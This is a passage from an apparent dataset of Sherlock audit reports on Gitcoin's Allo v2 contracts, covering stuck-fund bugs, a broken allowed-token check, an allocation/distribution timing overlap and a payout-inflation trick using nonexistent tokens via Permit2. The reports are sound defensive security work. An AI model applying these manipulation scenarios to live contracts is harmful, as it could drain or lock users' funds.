manager.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L394-L409\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nChange the withdraw function so it supports the withdraw of all tokens that are allowed as donations for the `DonationVotingMerkleDistributionVaultStrategy`. For this, the function should take an additional address argument as a parameter. The address should be the address of the token that is supposed to be withdrawn. It should be checked if the token is allowed and if the balance of the address is <= the amount that is supposed to be withdrawn.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//020-M/576.md"}} +{"title":"Funds may be stuck in QVSimpleStrategy in some cases","severity":"medium","body":"Furry Cider Panda\n\nmedium\n\n# Funds may be stuck in QVSimpleStrategy in some cases\n\n[[Allo.fundPool](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L339-L345)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L339-L345) can be called by anyone at any phrase to increase the pool amount. If it is called after the allocation has ended, this may cause some funds to be left in QVSimpleStrategy.\n\n## Vulnerability Detail\n\n`fundPool` internally calls [[_strategy.increasePoolAmount to increase poolAmount](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L517)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L517).\n\n```solidity\nFile: contracts\\strategies\\BaseStrategy.sol\n153: function increasePoolAmount(uint256 _amount) external override onlyAllo {\n154: _beforeIncreasePoolAmount(_amount);\n155:-> poolAmount += _amount;\n156: _afterIncreasePoolAmount(_amount);\n157: }\n```\n\nAfter the allocation ends, PoolManager can distribute the tokens to the recipients via [[Allo.distribute](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L383-L385)](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L383-L385). Its flow is as follows:\n\n```flow\nAllo.distribute\n BaseStrategy.distribute\n QVBaseStrategy._distribute\n```\n\nIn `_distribute`, the payout of each recipient is calculated by `_getPayout`.\n\n```solidity\nFile: contracts\\strategies\\qv-base\\QVBaseStrategy.sol\n436: function _distribute(address[] memory _recipientIds, bytes memory, address _sender)\n......\n443: uint256 payoutLength = _recipientIds.length;\n444: for (uint256 i; i < payoutLength;) {\n445: address recipientId = _recipientIds[i];\n446: Recipient storage recipient = recipients[recipientId];\n447: \n448:-> PayoutSummary memory payout = _getPayout(recipientId, \"\");\n449:-> uint256 amount = payout.amount;\n......\n455: IAllo.Pool memory pool = allo.getPool(poolId);\n456:-> _transferAmount(pool.token, recipient.recipientAddress, amount);\n......\n464: }\n465: }\n```\n\nThe payout for calculating a single recipient is `poolAmount` multiplied by the percentage of the number of votes received by the recipient and the total number of votes.\n\n```solidity\nFile: contracts\\strategies\\qv-base\\QVBaseStrategy.sol\n559: function _getPayout(address _recipientId, bytes memory)\n......\n564: returns (PayoutSummary memory)\n565: {\n566: Recipient memory recipient = recipients[_recipientId];\n567: \n568: // Calculate the payout amount based on the percentage of total votes\n569: uint256 amount;\n570: if (!paidOut[_recipientId] && totalRecipientVotes != 0) {\n571:-> amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n572: }\n573: return PayoutSummary(recipient.recipientAddress, amount);\n574: }\n```\n\nConsider the following scenario:\n\nFor simplicity, after the allocation ends, pool.token is Ether and poolAmount is 100e18. There are a total of 2 recipients (A and B), and they received the same number of votes. Therefore both A and B should get 50e18 ether.\n\n1. The pool manager calls `distribute` for A. So, A gets 50e18 ether.\n\n2. Alice calls `fundPool`, `msg.vaule` is 10e18 ether. So, `poolAmount = 110e18`.\n\n3. The pool manager calls `distribute` for B. So, B gets 55e18 ether. In this way, 5e18 is still stuck in the contract.\n\nThis will bring the following impacts:\n\n1. The remaining tokens are stuck in the QVSimpleStrategy contract and can never be withdrawn.\n\n2. The 10e18 ether transferred by Alice into the contract should be divided equally between A and B. However, A cannot get the 5e18 ether stuck in the contract.\n\n## Impact\n\nDescribed at the end of the Vulnerability Detail section.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIt's recommented to override `increasePoolAmount` and prevent it from being called after the allocation ends.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//019-M/465.md"}} +{"title":"`QVSimpleStrategy`: If someone fund a pool when the fund is partially/fully distributed, part of the fund may be locked","severity":"medium","body":"Future Sangria Giraffe\n\nmedium\n\n# `QVSimpleStrategy`: If someone fund a pool when the fund is partially/fully distributed, part of the fund may be locked\n\nWhen `Allo::fundPool` is called when the funds are partially or fully distributed, the added funds may be locked.\n\n## Vulnerability Detail\n\n`Allo::fundPool` can be called by anyone at anytime, and it will increase the `BaseStrategy.poolAmount` via `BaseStrategy::increasePoolAmount()`.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L339-L345\n\nThe `BaseStrategy.poolAmount` storage variable is used to determine the payout of each recipient by `QVBaseStrategy::_getPayout`:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559-L574\n\n\nWhen the fund is distributed by the pool manager via `QVBaseStrategy::_distribute`, the `paidOut` flag for the recipientId whose share was distributed will be set to be true.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L458\n\nThe problem occurs when some funds are added when some funds are distributed.\nIn the case, the funds will be partially or fully locked.\n\n## Impact\n\nIf some funds are added after the distribution is started, the added funds may be locked.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L339-L345\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559-L574\n\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L458\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nConsider adding recoverFund function like other strategies.\nAlternatively, allow the `fundPool` function only before the distribution starts.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//019-M/446-best.md"}} +{"title":"Late-arriving funds to QV strategy can get stuck forever","severity":"medium","body":"Merry Punch Caterpillar\n\nmedium\n\n# Late-arriving funds to QV strategy can get stuck forever\n\nThe QV strategy has no withdrawal mechanism, and no time limit on adding to the pool. If a miscommunication causes funds to be added after the first distribution, funds will get stuck in the pool forever.\n\nAlthough user error is typically considered invalid, this does not involve error from any single user, but rather a failure of coordination among them. It can occur even if no individual user makes a mistake. And the consequences are severe.\n\n## Vulnerability Detail\n\n1. A QVSimpleStrategy pool is created. Alice and Bob are the Pool managers. The pool is funded for 50k USDC.\n2. People vote, and Carol gets 100% of the vote.\n3. Bob goes out and fundraises another $50k for the pool.\n4. Carol tells Alice she really needs the money, and asks her to distribute ASAP. Alice schedules a distribute() transaction\n5. Before Alice's distribute() transaction runs, Bob goes to fund the pool for another 50k USDC\n6. Unfortunately, Alice's call is run first. Carol gets 50k USDC. She is marked as having already been distributed to. Then 50k is added to the pool, but there is no-one to distribute to.\n7. The remaining 50k USDC is stuck in the pool forever.\n\n## Impact\n\nA chance of permanent loss of funds\n\n## Code Snippet\n\nIn QVBaseStrategy ( https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L30 ), see:\n\n* Lack of a withdraw() function\n* Once someone is paid, they cannot be repaid. https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L451C8-L451C8\n* No time limit on pool funding. https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L153\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd a withdraw function to QVBaseStrategy","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//019-M/262.md"}} +{"title":"In case if QVSimpleStrategy pool will be funded after some user's already received payment, then distribution will be incorrect","severity":"medium","body":"Savory Boysenberry Cobra\n\nmedium\n\n# In case if QVSimpleStrategy pool will be funded after some user's already received payment, then distribution will be incorrect\nIn case if QVSimpleStrategy pool will be funded after some user's already received payment, then distribution will be incorrect\n## Vulnerability Detail\n`QVSimpleStrategy.distribute` can be called several times in order to pay funds to recipients. User receives amount that depends on votes count that he received. So he will [get percentage of `poolAmount`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571).\n\n`poolAmount` is changed when owner funds pool. In case if pool will be funded between several `distribute` calls, that means not all funds will be distributed and some of them will stuck in the pool\n## Impact\nDistribution will be incorrect\n## Code Snippet\nProvided above\n## Tool used\n\nManual Review\n\n## Recommendation\nDo not allow funding after allocation finished.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//019-M/061.md"}} +{"title":"Allowed tokens checks do not work correctly in `DonationVotingMerkleDistributionBaseStrategy`","severity":"medium","body":"Scruffy Taupe Orca\n\nmedium\n\n# Allowed tokens checks do not work correctly in `DonationVotingMerkleDistributionBaseStrategy`\n`DonationVotingMerkleDistributionBaseStrategy` accounts for allowed tokens in an array. It is used to prevent allocating using disallowed tokens.\n\n## Vulnerability Detail \nThere is a problem with the checks for those tokens. \n\nIf you try to fund the pool directly from the Allo contract via `_fundPool()` function there aren't any checks if the token is allowed or not. The amount is being sent directly to the strategy contract.\n\nAlso the checks in the `_allocate` function in `DonationVotingMerkleDistributionBaseStrategy` aren't working properly.\n\n### Proof of concept\n\nWhen initializing the strategy allowedTokens array is being set:\n\n```solidity\n288: uint256 allowedTokensLength = _initializeData.allowedTokens.length;\n289:\n290: if (allowedTokensLength == 0) {\n291: // all tokens\n292: allowedTokens[address(0)] = true;\n293: }\n294:\n295: for (uint256 i; i < allowedTokensLength; i++) {\n296: allowedTokens[_initializeData.allowedTokens[i]] = true;\n297: }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L288-L302\n\nand on `_allocate` the token provided is being validated using this if check:\n\n```solidity\n653 if (!allowedTokens[token] && !allowedTokens[address(0)]) {\n654 revert INVALID();\n655 }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L653-L655\n\nLet's say the allowedTokens array is empty and we execute `_allocate` where token provided is `USDT`\n\nThe validation in `_allocate` would look like:\n`if (!false && !true)` -> won't revert and it would continue the execution of the function like normal.\n\n## Impact\nAllowed tokens restrictions won't function correctly.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L502-L520\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L288-L302\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L653-L655\n\n## Tool used\nManual review\n\n## Recommendation\nAdd some sort of validation of allowed tokens in `_fundPool()` and for `_allocate()` it is better to use `||` instead of `&&` on the if statement.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//018-M/922-best.md"}} +{"title":"Allocations in `DonationVotingMerkleDistributionDirectTransferStrategy.sol` or `DonationVotingMerkleDistributionVaultStrategy.sol` can be manipulated to distribute more tokens to specific recepients","severity":"medium","body":"Cheery Cedar Gecko\n\nhigh\n\n# Allocations in `DonationVotingMerkleDistributionDirectTransferStrategy.sol` or `DonationVotingMerkleDistributionVaultStrategy.sol` can be manipulated to distribute more tokens to specific recepients\nAllocations in `DonationVotingMerkleDistributionDirectTransferStrategy.sol` or `DonationVotingMerkleDistributionVaultStrategy` can be manipulated to increase the payout of specific recipients in the distribution period.\n## Vulnerability Detail\nAfter the registering period in any strategy there will be the allocation phase where things are done different, depending on the strategy used. As can be seen by the Allo documentation,\nhttps://docs.allo.gitcoin.co/strategies/allocation \nthe allocation phase for the `Donation voting` strategy involves directly donating to the specific recipients tokens that are allowed. After that in the distribution phase the payouts are proportional to the donations made \n![image](https://github.com/sherlock-audit/2023-09-Gitcoin-VagnerAndrei26/assets/111457602/6948cfb9-6235-4a0b-9ec2-b0fded8dae3f)\nwhich means that if a recipients will get more donations in the allocation phase he will get more payouts in the distribution phase. The problem relies for the cases where `DonationVotingMerkleDistributionDirectTransferStrategy.sol` or `DonationVotingMerkleDistributionVaultStrategy.sol` are allowing any token to be used in the allocation phase by setting `allowedTokens` mapping to `address(0)` \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L290-L294\nWhen the allocation phase starts any address can allocate to a specific recipient, by donating any amount of tokens, which will first do some checks in `_allocate` \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L640-L664\nand then go trough the `_afterAllocate` hook. In both `DonationVotingMerkleDistributionDirectTransferStrategy.sol` and `DonationVotingMerkleDistributionVaultStrategy.sol` the `_afterAllocate` hook uses `permitTransferFrom` from `Permit2` used by Uniswap to transfer those specific tokens to the recipient himself, in the case of `DonationVotingMerkleDistributionDirectTransferStrategy.sol`\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-direct-transfer/DonationVotingMerkleDistributionDirectTransferStrategy.sol#L59-L72 \nor to the contract itself in the case of `DonationVotingMerkleDistributionVaultStrategy.sol`\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L121-L131\nThe problem with using `permitTransferFrom` from `PERMIT2` is the fact that it uses the `SafeTransferLib` from solmate, as can be seen here \nhttps://github.com/Uniswap/permit2/blob/778de34c6e965f1fea1a82080122a7057c6f24ee/src/SignatureTransfer.sol#L7C9-L7C24\nand `SafeTransferLib` from solmate doesn't check if the `token` address has any code at all \nhttps://github.com/transmissions11/solmate/blob/fadb2e2778adbf01c80275bfb99e5c14969d964b/src/utils/SafeTransferLib.sol#L9\nwhich means that if any token is allowed, anyone can allocate with a token which do not exist, to a specific recipient in very big quantities and the call will succeed. Because of that the whole distribution mechanism for `Donation voting` strategy can be easily manipulated and inflated by doing this multiple time, which will make it so a recipient could get a bigger share of the whole payout, since the payouts are calculated proportional to the donations, as stated in the Allo documentations.\n## Impact\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L121-L131\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-direct-transfer/DonationVotingMerkleDistributionDirectTransferStrategy.sol#L59-L72\n## Tool used\n\nManual Review\n\n## Recommendation\nDo not let every token to be used in the allocation phase, force pool creators to allow only specific tokens for donations or when the allocation phase is happening check for the `codesize` of the token contract intended to be used by the allocators, in that way only token addresses with `codesize` can be used.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//018-M/833.md"}} +{"title":"No check for address(0) on allowedTokens in VotingMerkleStrategy could result in undesired behaviour","severity":"medium","body":"Fantastic Chocolate Mantaray\n\nmedium\n\n# No check for address(0) on allowedTokens in VotingMerkleStrategy could result in undesired behaviour\nIn `DonationVotingMerkleDistributionBaseStrategy` in the initialization we should provide tokens allowed for voting. If none are provided, it is assumed that all tokens are accepted. But what if allowed tokens are provided and unintentially of is set to be the address(0). This will in having voting strategy with all allowed tokens, because marking `address(0) = true` in the map of the allowed tokens means all tokens are allowed.\n## Vulnerability Detail\nHere are code snippets showing how such user mistake could lead to unintended behaviour - having unlimeted options of voting tokens.\n- Imagine one of the tokens in the provided array is address(0)\n```solidity\n if (allowedTokensLength == 0) {\n // all tokens\n allowedTokens[address(0)] = true;\n }\n\n // Loop through the allowed tokens and set them to true\n for (uint256 i; i < allowedTokensLength;) {\n // @audit if inside allowedTokensArray there is a zero address, it will be interpreted as all tokens\n allowedTokens[_initializeData.allowedTokens[i]] = true;\n unchecked {\n i++;\n }\n }\n```\nHere we can see that if we set `allowedTokens[address(0)] = true`, this will result in passing checks for allowed tokens, which consist in:\n```solidity\n // The token must be in the allowed token list and not be native token or zero address\n if (!allowedTokens[token] && !allowedTokens[address(0)]) {\n revert INVALID();\n }\n```\nI.e we will never revert.\n## Impact\n- Unintended behaviour \n- Possibility to allocate tokens using potentially malicious ERC20\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L296-L301\n## Tool used\n\nManual Review\n\n## Recommendation\nCheck for `address(0)` and revert if it is passed\n```solidity\n // Loop through the allowed tokens and set them to true\n for (uint256 i; i < allowedTokensLength;) {\n\t\t\t\tif(_initializeData.allowedTokens[i] == address(0)){\n\t\t\t\trevert(\"ZERO_ADDRESS\");\n\t\t\t\t}\n allowedTokens[_initializeData.allowedTokens[i]] = true;\n unchecked {\n i++;\n }\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//018-M/226.md"}} +{"title":"Zero address not checked in allowedTokens mapping","severity":"medium","body":"Original Navy Donkey\n\nmedium\n\n# Zero address not checked in allowedTokens mapping\nallowedTokens is used to record the available tokens in the contract. When allowedTokensLength is not set, it will be set to true for zero address. But contract not checked passed in allowedTokens is zero address. \n## Vulnerability Detail\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L298\n\n## Impact\nIf a user mistakenly enters a zero address, it will result in all tokens being available怂\n\n\n## Code Snippet\n```solidity\n // If the length of the allowed tokens is zero, we will allow all tokens\n if (allowedTokensLength == 0) {\n // all tokens\n allowedTokens[address(0)] = true;\n }\n\n // Loop through the allowed tokens and set them to true\n for (uint256 i; i < allowedTokensLength;) {\n allowedTokens[_initializeData.allowedTokens[i]] = true; //@audit <-----------------zero address not checked.\n unchecked {\n i++;\n }\n }\n```\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\nwe should check zero address","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//018-M/205.md"}} +{"title":"_qv_allocate function will not work as expected","severity":"medium","body":"Shambolic Misty Dragon\n\nmedium\n\n# _qv_allocate function will not work as expected\n_qv_allocate function will not work as expected\n\n## Vulnerability Detail\nThe `_qv_allocate` function will not work as expected during a specific time period. The `onlyActiveAllocation` modifier allows calling of the `_qv_allocate` function between `allocationStartTime` and `allocationEndTime`. Notably, the `allocationStartTime` is earlier than the `registrationStartTime`\n\n```solidity\n if (\n block.timestamp > _registrationStartTime || _registrationStartTime > _registrationEndTime\n || _registrationStartTime > _allocationStartTime || _allocationStartTime > _allocationEndTime\n || _registrationEndTime > _allocationEndTime\n ) {\n revert INVALID();\n }\n```\n\nBefore `block.timestamp >= registrationStartTime`, newly recipients can not be registered. Consequently, between the times of `allocationStartTime` and `registrationStartTime`, the `_qv_allocate` function can not be called because no recipients are registered to bypass this check:\n\n```solidity\n // check that the recipient is accepted\n if (!_isAcceptedRecipient(recipientId)) revert RECIPIENT_ERROR(recipientId);\n```\n\nin `_allocate` function of `QVSimpleStrategy` contract.\n\n## Impact\n`_qv_allocate` function is blocked for specific time period.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L512\n\n```solidity\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nReplace `allocationStartTime` with `registrationStartTime` in `_checkOnlyActiveAllocation` modifier:\n\n```solidity\nif (registrationStartTime > block.timestamp || block.timestamp > allocationEndTime) {\n revert ALLOCATION_NOT_ACTIVE();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//017-M/924.md"}} +{"title":"When ```block.timestamp == allocationEndTime``` this can bypassed both ```onlyActiveAllocation()``` and ```onlyAfterAllocation()``` modifiers.","severity":"medium","body":"Rhythmic Rusty Swan\n\nmedium\n\n# When ```block.timestamp == allocationEndTime``` this can bypassed both ```onlyActiveAllocation()``` and ```onlyAfterAllocation()``` modifiers.\nOn the condition that ```block.timestamp == allocationEndTime``` both modifiers can be bypassed as neither of them revert on this condition. This can lead to unwanted behaviour as it is unclear whether the protocol wants this specific time to be part of the allocation process or not.\n\n## Vulnerability Detail\nThe distribute based functions should only be called after all the allocation has taken place and the allocate functions should only be called during active allocation times, however this specific condition at ```block.timestamp == allocationEndTime``` has left it so that both functions can be called at the same time. \n\n## Impact\nThis could lead to a distribution function being called before an allocation has taken place which seems to be unwanted behaviour for this protocol.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L465-L469\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L473-L476\n\nThese modifiers are also used in QVBaseStrategy.sol.\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nI would recommend that the protocol make it so that the ```_checkOnlyAfterAllocation()``` function reverts at the time ```block.timestamp == allocationEndTime```. \n\nChange the if statement from ```if (block.timestamp < allocationEndTime)``` to:\n\n```if (block.timestamp <= allocationEndTime)``` so that it is strictly only after the allocation period has ended.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//017-M/839-best.md"}} +{"title":"Distribution is possible during allocation","severity":"medium","body":"Dazzling Clay Blackbird\n\nhigh\n\n# Distribution is possible during allocation\nDue to an incorrect active allocation check, distribution can happen during allocation time. This can distribute payouts to users incorrectly and unfairly. \n\n## Vulnerability Detail\nDistribution can happen during allocation when `block.timestamp == allocationEndTime`.\n\nAllocation is active when `allocationStartTime <= block.timestamp <= allocationEndTime`.\n```solidity\n /// @notice Check if the allocation is active\n /// @dev Reverts if the allocation is not active\n function _checkOnlyActiveAllocation() internal view virtual {\n if (allocationStartTime > block.timestamp || block.timestamp > allocationEndTime) {\n revert ALLOCATION_NOT_ACTIVE();\n }\n }\n```\n\nThe `_checkOnlyAfterAllocation` considers allocation to have ended if `block.timestamp == allocationEndTime` even though the above `_checkOnlyActiveAllocation` check considers is as still active. \n```solidity\n /// @notice Check if the allocation has ended\n /// @dev Reverts if the allocation has not ended\n function _checkOnlyAfterAllocation() internal view virtual {\n if (block.timestamp < allocationEndTime) revert ALLOCATION_NOT_ENDED();\n }\n```\n\nThe payouts will be incorrectly distributed. \n\nHere's an example using the `QVSimpleStrategy` strategy:\n\nFor simplicity, let's assume the `poolAmount = 100`.\n\n1. Alice allocated 10 votes and Bob allocated 5 votes.\n2. Pool manager distributes tokens to Alice and Bob at `block.timestamp == allocationEndTime`. According to the `_getPayout` calculation, Alice gets (10/15) 66.66% of the pool amount and (5/15) Bob gets 33.33%. All `poolAmount` is sent.\n\n```solidity\nfunction _getPayout(address _recipientId, bytes memory)\n{\n ...\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n return PayoutSummary(recipient.recipientAddress, amount);\n}\n```\n3. Another user Chris allocates 5 votes at `block.timestamp == allocationEndTime`.\n4. Pool manager distributes the tokens to Chris. Chris is supposed to get (5/20) 25% of the poolAmount. This may fail if the poolAmount is depleted. \n\nAlice and Bob is getting an unfair amount of tokens when the actual distribution should be:\n* Alice (10/20) = 50%\n* Bob (5/20) = 25%\n* Chris (5/20) = 25%\n\n## Impact\nUsers who allocated before the distribution will get a higher incorrect payout amount than users who allocated after the distribution. The users also may not get their payout if the poolAmount was depleted to all the users who allocated before the distribution. \n\nThis bug affects all contracts that have the incorrect implementation of `_checkOnlyActiveAllocation`. \n\n## Code Snippet\n\n[_checkOnlyActiveAllocation implementation](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L318)\n\n[_checkOnlyAfterAllocation implementation](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L326)\n\n## Tool used\n\nManual Review\n\n## Recommendation\nUpdate the `allocationEndTime` comparison check to be inclusive. \n```solidity\n function _checkOnlyActiveAllocation() internal view virtual {\n --> if (allocationStartTime > block.timestamp || block.timestamp >= allocationEndTime) { <--\n revert ALLOCATION_NOT_ACTIVE();\n }\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//017-M/835.md"}} +{"title":"The 1-second overlap between the during- and after-allocation periods may cause funds to become stuck, permanently.","severity":"medium","body":"Merry Punch Caterpillar\n\nmedium\n\n# The 1-second overlap between the during- and after-allocation periods may cause funds to become stuck, permanently.\n\nThere is a 1-second overlap between the during- and after-allocation periods of both the QV strategy and the DonationVotingMerkle strategies. In the QV strategy, this can lead to funds permanently becoming stuck.\n\n## Vulnerability Detail\n\n1. A QVSimpleStrategy pool is created. Alice is the Pool manager. 10 people are given voting rights. The pool is funded for 100k USDC.\n2. Everyone except Bob votes, giving Carol and Dan each 50% of the votes.\n3. Carol tells Alice she really needs the money, and asks her to distribute ASAP. Alice schedules a distribute() transaction to occur the moment allocation ends.\n4. At the last minute, the Bob votes, casting all his votes for Carol.\n5. It so happens that Alice and Bob's transaction occur in the same block. Further, it so happens that this block is scheduled with block.timestamp exactly equal to `allocationEndTime`. (Note that, other some comments talk about the registration and allocation period times being in milliseconds, they are actually in seconds.)\n6. For this second, both `onlyActiveAllocation` and `onlyAfterAllocation` pass\n7. Bob's vote gets scheduled within the block after the call to distribute()\n8. The call to distribute gives 50% of the funds to Carol, or 50k USDC. Bob's vote changes the total so that 55% of votes are for Carol, and 45% for Dan.\n9. Dan can now be given his $45k. But the remaining $5k is stuck in the pool forever.\n\nIf there is one block every 40 seconds, then there is a 2.5% chance that a block will run on the exact second of overlap. However, the contest page says it should run on any EVM-compatible chain. If there is a rollup that has blocks every second, then the conditions for this bug to occur has a 100% chance\n\nIf there is collusion from the miner, then there is also a significantly higher chance.\n\n## Impact\n\nA chance of permanent loss of funds\n\n## Code Snippet\n\nWhen `block.timestamp == allocationEndTime`, then both _checkOnlyAfterRegistration and _checkOnlyActiveAllocation pass.\n\nI am guessing that the protocol authors thought `block.timestamp` was in milliseconds, when it is actually in seconds. That makes this problem 1000x more likely to occur without miner collusion.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L317C1-L328C6\n\n```solidity\n function _checkOnlyActiveAllocation() internal view virtual {\n if 